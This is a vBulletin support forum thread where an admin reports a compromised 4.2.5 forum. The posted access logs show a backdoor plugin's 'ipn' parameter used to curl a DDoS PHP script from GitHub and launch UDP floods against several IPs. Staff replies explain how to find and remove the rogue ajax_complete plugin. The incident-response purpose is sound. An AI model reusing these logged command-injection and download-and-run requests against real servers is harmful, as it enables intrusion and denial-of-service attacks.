ajax.php arbitrary execution and directory traversal

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • archangel122184
    New Member
    • Nov 2014
    • 6
    • 4.2.x

    ajax.php arbitrary execution and directory traversal

    My server was used to perpetrate a DDoS attack yesterday and it appears the general attack vector was through ajax.php

    For the moment, I've made ajax.php inaccessible, but I would appreciate any help closing this hole.

    access.log:108.162.241.169 - - [27/May/2018:13:57:25 -0400] "GET /forums/ajax.php?ipn=curl%20https://raw.githubusercontent.com/drego85/DDoS-PHP-Script/dd72372ac9e3763318a8142719ef7da6cc0fa6a4/ddos.php%20%3E%20/tmp/temp.php HTTP/1.1" 200 39 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" "200.7.102.116"
    access.log:108.162.241.169 - - [27/May/2018:13:57:42 -0400] "GET /forums/ajax.php?ipn=php%20/tmp/temp.php HTTP/1.1" 200 112 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" "200.7.102.116"
    access.log:108.162.241.169 - - [27/May/2018:13:58:15 -0400] "GET /forums/ajax.php?ipn=php%20/tmp/temp.php%20host=TARGET%20port=PORT%20time=SECONDS HTTP/1.1" 200 184 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" "200.7.102.116"
    access.log:162.158.155.167 - - [27/May/2018:13:58:22 -0400] "GET /forums/ajax.php?ipn=php%20/tmp/temp.php%20host=TARGET%20port=PORT%20time=SECONDS HTTP/1.1" 200 184 "-" "TelegramBot (like TwitterBot)" "149.154.167.166"
    access.log:162.158.154.142 - - [27/May/2018:13:58:25 -0400] "GET /forums/ajax.php?ipn=php%20/tmp/temp.php%20host=TARGET%20port=PORT%20time=SECONDS%60 HTTP/1.1" 200 39 "-" "TelegramBot (like TwitterBot)" "149.154.167.171"
    access.log:108.162.241.169 - - [27/May/2018:14:01:30 -0400] "GET /forums/ajax.php?ipn=php%20/tmp/temp.php%20host=200.7.102.116%20port=80%20time=60 HTTP/1.1" 200 291 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" "200.7.102.116"
    access.log:108.162.241.169 - - [27/May/2018:14:02:46 -0400] "GET /forums/ajax.php?ipn=php%20/tmp/temp.php%20host=200.7.102.116%20port=80%20time=60&method=udp HTTP/1.1" 200 291 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" "200.7.102.116"
    access.log:108.162.241.169 - - [27/May/2018:14:02:48 -0400] "GET /forums/ajax.php?ipn=php%20/tmp/temp.php%20host=200.7.102.116%20port=80%20time=10%20method=UDP HTTP/1.1" 200 85 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" "200.7.102.116"
    access.log:108.162.241.169 - - [27/May/2018:14:03:56 -0400] "GET /forums/ajax.php?ipn=php%20/tmp/temp.php%20host=200.7.102.116%20port=80%20time=10&type=UDP HTTP/1.1" 200 287 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" "200.7.102.116"
    access.log:108.162.241.169 - - [27/May/2018:14:05:03 -0400] "GET /forums/ajax.php?ipn=php%20/tmp/temp.php HTTP/1.1" 200 112 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" "200.7.102.116"
    access.log:108.162.241.169 - - [27/May/2018:14:06:32 -0400] "GET /forums/ajax.php?ipn=php%20/tmp/temp.php%20host=200.7.102.116%20port=80%20time=20&type=UDP HTTP/1.1" 200 292 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" "200.7.102.116"
    access.log:162.158.63.223 - - [27/May/2018:14:51:28 -0400] "GET /forums/ajax.php?ipn=php%20/tmp/temp.php%20host=62.210.180.159%20port=80%20time=120&type=UDP HTTP/1.1" 499 0 "-" "-" "192.157.56.130"
    access.log:162.158.63.223 - - [27/May/2018:14:53:34 -0400] "GET /forums/ajax.php?ipn=php%20/tmp/temp.php%20host=200.7.102.116%20port=80%20time=120&type=UDP&method=STOP HTTP/1.1" 499 0 "-" "-" "192.157.56.130"
    access.log:162.158.63.223 - - [27/May/2018:14:54:56 -0400] "GET /forums/ajax.php?ipn=php%20/tmp/temp.php%20host=81.129.199.237%20port=80%20time=60&type=UDP HTTP/1.1" 200 293 "-" "-" "192.157.56.130"
  • djbaxter
    Senior Member
    • Aug 2006
    • 1418
    • 4.2.5

    #2
    What specific version of vBulletin 4?
    Psychlinks Web Services Affordable Web Design & Site Management
    Specializing in Small Businesses and vBulletin/Xenforo Forums

    Comment

    • archangel122184
      New Member
      • Nov 2014
      • 6
      • 4.2.x

      #3
      The latest patch, 4.2.5

      Comment

      • djbaxter
        Senior Member
        • Aug 2006
        • 1418
        • 4.2.5

        #4
        It's Memorial Day in the US so you'll probably have to wait until tomorrow for a response.

        Previous similar reports, though, occurred while the install directory remained on the server. make sure that the entire /install/ directory is deleted.

        Also, disable ImageMagick and use the GD image library AdminCP >> Options >> Image Settings

        You should also run Admin CP -> Maintenance - > Diagnostics -> Suspect File Check
        Last edited by djbaxter; Mon 28 May '18, 5:47am.
        Psychlinks Web Services Affordable Web Design & Site Management
        Specializing in Small Businesses and vBulletin/Xenforo Forums

        Comment

        • archangel122184
          New Member
          • Nov 2014
          • 6
          • 4.2.x

          #5
          Install directory has been deleted. ImageMagick isn't installed.

          Comment

          • Wayne Luke
            vBulletin Technical Support Lead
            • Aug 2000
            • 74149

            #6
            I've spoken to our developers and this looks like a Hook or Plugin Exploit. It is using parameters that we do not allow in vBulletin. In a normal situation, these would be dropped and the system should carry on. However, the AJAX system can be hooked into using vBulletin 4's standard plugin system.
            1. Make sure there are no unknown plugins on the ajax_complete hook in your AdminCP (if any are shown). AdminCP -> Products & Plugins -> Plugin Manager.
            2. Make sure there are no unknown plugins on the ajax_start hook in your AdminCP (if any are shown). AdminCP -> Products & Plugins -> Plugin Manager.
            3. Run this query: "select * from plugin where hookname='ajax_complete' or hookname='ajax_start';" Delete any that are unknown, especially if they
            4. Run this query: "delete from datastore where title in ('pluginlist', 'pluginlistadmin');"
            Last edited by Wayne Luke; Tue 29 May '18, 9:02am.
            Translations provided by Google.

            Wayne Luke
            The Rabid Badger - a vBulletin Cloud demonstration site.
            vBulletin 5 API

            Comment

            • archangel122184
              New Member
              • Nov 2014
              • 6
              • 4.2.x

              #7
              Thank you. That helps and you are correct. I found an ajax_complete plugin processing the "ipn" option. The plugin is not part of any installed product, it just falls in the vbulletin category.

              That suggest then that there was an SQL injection performed against the VB installation. I'll check the database backups to see if I can isolate when this was injected, but are there presently any known SQL injection vulnerabilities in vb 4.2.5?

              Comment

              • Wayne Luke
                vBulletin Technical Support Lead
                • Aug 2000
                • 74149

                #8
                On a properly secured vBulletin 4.2.5 site, there are no currently known SQL injection vectors.
                Translations provided by Google.

                Wayne Luke
                The Rabid Badger - a vBulletin Cloud demonstration site.
                vBulletin 5 API

                Comment

                • archangel122184
                  New Member
                  • Nov 2014
                  • 6
                  • 4.2.x

                  #9
                  I was able to trace the plugin to an admin that created it in Dec 2016. I don't see anything suspicious with the control panel logs (no spurious or duplicate log ids, no timeshifting/out of order time stamps) so chances are the admin's account was compromised almost 2 years ago and we've been at risk for a long time. Strange that the plugin just now started being used. Either way, thank you very much for your help. My users will appreciate having ajax back.

                  Comment

                  • Wayne Luke
                    vBulletin Technical Support Lead
                    • Aug 2000
                    • 74149

                    #10
                    We did have some security issues in the past and released both guidance and security patches to deal with them. It could have been during that time. It isn't uncommon for the admin logs to be tampered with during exploits. There are also people who create exploits and let them sleep until they decide they need them. I am glad the fix was relatively quick.

                    Please run the Suspect File Versions tool under Maintenance -> Diagnostics and make sure that there are no unknown files in the vBulletin directory.
                    Translations provided by Google.

                    Wayne Luke
                    The Rabid Badger - a vBulletin Cloud demonstration site.
                    vBulletin 5 API

                    Comment

                    widgetinstance 262 (Related Topics) skipped due to lack of content & hide_module_if_empty option.
                    Working...